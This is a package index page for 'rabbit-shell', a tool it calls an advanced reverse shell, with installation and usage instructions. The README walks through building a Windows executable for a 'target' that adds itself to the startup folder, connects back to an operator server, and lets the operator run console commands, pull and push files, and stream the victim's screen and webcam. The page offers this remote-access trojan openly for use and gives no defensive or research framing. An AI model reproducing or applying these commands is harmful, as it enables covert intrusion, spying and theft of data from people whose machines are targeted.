Skip to main content

license Python

Rabbit-shell

Rabbit shell advanced reverse shell tool.

tool

Installation.

By pip.

pip install rabbit_shell

install using pypi.

or

By clone.

git clone https://github.com/greedalbadi/rabbit-shell.git
cd rabbit-shell
pip install .

install using git clone.

steps.

1 - Install rabbit-shell tool.

2 - Generate your key using --key command.

example: rsb --key

3 - run tool on your server using --server command along with your server ip address and port .

example: rsb --server -a 192.168.0.111 -p 9999

4 - Generate exe for target using --client along with your server ip address and port .

example: rsb --client -a 192.168.0.111 -p 9999

5 - now to start controlling target on your main device prefferred on windows run --auth command.

example: rsb --auth -a 192.168.0.111 -p 9999

  • now when your target run your exe will it will be connected and you will can control your target.

Usage.

rsb --help

print available arguments with a tiny explain or just rsb.

Run server and start listening.

rsb --server -a 192.168.0.111 -p 9999
  • --server is args container
  • -a is server or device ip address
  • -p is wich port you'll be listening to
There'll be a seperate socket for file transfering the port is whaever enter - 1, If main server port 9999
file transfer port well be 9998, the files are going to trans to wherever your location is.

Log to server as author.

rsb --auth -a 192.168.0.111 -p 9999
  • --auth is args container
  • -a is server or device ip address
  • -p is wich port you'll be listening to server and contacts
  • -k (optional) use key
connect to your server as an author and control your own clients.

Generate exe for the target.

rsb --client -a 192.168.0.111 -p 9999
  • --client is args container
  • -a is server or device ip address
  • -p is wich port you'll be listening to
This will generate an exe inside a dist directory you may delete build folder, when the exe runs It'll create
a shortcut in startup folder if the system is windows.

Generate new key\insert key\show key.

rsb --key
generate a new key and save it in data\basic.py.

Commands to use from server side.

To request server information.

>: server
Server host and port also the tool version and tool name.

To list all clients.

>: list
List online and offline clients use, device address, and more.

To set and controll a client console by client use number from the list.

>: set 0
To controle client console you can git client set number from using the command list
and use the command >: set (client use number).

Quit client session.

>: quit
Quit client console without losing connection with client, used to things like changing to another set or gain info.

Send file to client.

>: file:filename

Request file from client.

>: reqfile:filename

stream

streaming will be done by wich client is sending frames to the server
so make sure that it's one client whom send's stream frames and stop other streams to be safe, after you'r done with the stream stop it using >: stream:stop .

stream current client screen.

>: stream:screen

stream current client webcam.

>: stream:cam

stop stream

>: stream:stop
make sure you stop the stream when you want to start streaming another client.

About.

by @greedalbadi

This tool uses MIT license.

made with depression <3

Metadata

Release files for rabbit-shell 3.3.3

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Built distribution (wheel)

Table of built distributions (wheels) for rabbit-shell 3.3.3
File Interpreter ABI Platform
rabbit_shell-3.3.3-py3-none-any.whl Python 3 none any Details

Release files / rabbit_shell-3.3.3-py3-none-any.whl

Download URL rabbit_shell-3.3.3-py3-none-any.whl
Size 22.0 kB
Tags Python 3
SHA-256 checksum
How to use checksums
561f6a82f31ab872c0ce03d96318ef9576d6eed85ec0bcc42096c957da4b67c9
BLAKE2b-256 checksum
How to use checksums
9e29b4c9c0e2d3e16f544d992f8892a566107a62140b45d881ae67ec735c6e59
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/4.0.1 CPython/3.9.13

Release history Release notifications | RSS feed

This release

3.3.3 This release

1 release file

3.2.3

1 release file

3.2.2

1 release file

3.2.1

1 release file

3.2

1 release file

3.1

1 release file

3.0

1 release file

2.0

1 release file

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page